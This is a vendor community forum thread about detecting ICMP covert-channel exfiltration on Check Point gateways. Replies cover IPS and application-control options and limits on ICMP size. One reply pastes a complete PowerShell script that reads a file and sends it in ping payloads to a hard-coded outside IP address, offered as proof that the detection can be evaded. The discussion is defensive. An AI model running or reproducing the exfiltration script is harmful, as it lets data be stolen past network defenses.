Create a Post
cancel
Showing results for 
Search instead for 
Did you mean: 
Rene_Atanassoff
Explorer

ICMP covert channel detection

Hi All

I have been asked by a customer to ensure that all protections for covert channel attacks are enabled on their R77.30 gateways which are managed through an R80.10 Management server.  The customer has threat prevention blades, IPS, AV & Anti-bot enabled.  I could find the IPS signature for DNS tunneling but I don't see anything for ICMP. Could someone please explain how Checkpoint deals with ICMP covert channel attacks?

Thank you

Rene

0 Kudos
6 Replies
G_W_Albrecht
Legend
Legend

The TCSEC defines two kinds of covert channels:  Storage channels - Cover communication by modifying a "storage location", such as a hard drive, and Timing channels - Perform operations that affect the "real response time observed" by the receiver.

As for ICMP, this is a supporting protocol not regularly employed by end-user network applications (with the exception of some diagnostic tools like ping and traceroute). So it is a standard to block it in rulebase or restrict it use (no ping to the GW gets answered).

The threat you speak of is covered by APCL - see Application/Categories ICMPTX, Data Exfiltration Toolkit ICMP Mode and ICMP shell, all supported since R80.

CCSE CCTE CCSM SMB Specialist
0 Kudos
Henrik_Noerr1
Advisor

The icmp tunnel/exfill defined in the APPL blade is easy to bypass with all ICMP exfil blocked in the rulebase.

See attached 59 line powershell script.

 

#    Powershell-ICMP-Sender
#    ICMP Exfiltration script
#    Author: Oddvar Moe (@oddvarmoe)
#    License: BSD 3-Clause
#    Required Dependencies: None
#    Optional Dependencies: None
#    Early alpha version

# Script will take the infile you specify in the $inFile variable and divide it into 1472 byte chunks before sending
# This script also works with Metasploit's ICMP Exfil module: https://www.rapid7.com/db/modules/auxiliary/server/icmp_exfil
# Inspiration from : https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1

# TODO:
# Need transfer check
# Speeding it up using different methods
# Make it function based

    $IPAddress = "52.149.97.185"
    $ICMPClient = New-Object System.Net.NetworkInformation.Ping
    $PingOptions = New-Object System.Net.NetworkInformation.PingOptions
    $PingOptions.DontFragment = $true
    #$PingOptions.Ttl = 10
    
    # Must be divided into 1472 chunks
    [int]$bufSize = 1000
    $inFile = "C:\Users\awa\Documents\wrk\src\pingtunnel\test.txt"
    #$inFile = "C:\Users\awa\Desktop\FortiSandbox-4.0.2-JSON API Reference.pdf"
    

    $stream = [System.IO.File]::OpenRead($inFile)
    $chunkNum = 0
    $TotalChunks = [math]::floor($stream.Length / 1000)
    $barr = New-Object byte[] $bufSize
    
    # Start of Transfer
    $sendbytes = ([text.encoding]::ASCII).GetBytes("---START---")
    $ICMPClient.Send($IPAddress,10, $sendbytes, $PingOptions) | Out-Null

    # start PDF: 12:23


    while ($bytesRead = $stream.Read($barr, 0, $bufsize)) {
        #Write-Host $barr
        
        $ICMPClient.Send($IPAddress,10, $barr, $PingOptions) | Out-Null
        $ICMPClient.PingCompleted
        
        #Missing check if transfer is okay, added sleep.
        #sleep 1
        #$ICMPClient.SendAsync($IPAddress,60 * 1000, $barr, $PingOptions) | Out-Null
        
        Write-Output "Done with $chunkNum out of $TotalChunks"
        $chunkNum += 1
    }

    # End the transfer
    $sendbytes = ([text.encoding]::ASCII).GetBytes("---STOP---")
    $ICMPClient.Send($IPAddress,10, $sendbytes, $PingOptions) | Out-Null
    Write-Output "File Transfered"
0 Kudos
Vladimir
Champion
Champion

To add to Guenther's post, unsuccessful UDP queries to DNS may result in ICMP replies from those. It is possible to use this mechanism for exfiltration, modifying payload of the replies. 

0 Kudos
PhoneBoy
Admin
Admin

One thing you can do in IPS to limit this is to limit the size of ICMP Echo Requests.

0 Kudos
Rene_Atanassoff
Explorer

Thanks guys much appreciate the feedback, I will check out the various options.

0 Kudos
Joe_Sullivan
Explorer

I'm a little late on this one... but if you want some insight on how that works, this is a good program for running TCP over ICMP:

Ping Tunnel - Send TCP traffic over ICMP 

This was a popular tool to use in hotels to get out of paying for Internet - then they started blocking ICMP.

Leaderboard

Epsum factorial non deposit quid pro quo hic escorol.

Upcoming Events

    CheckMates Events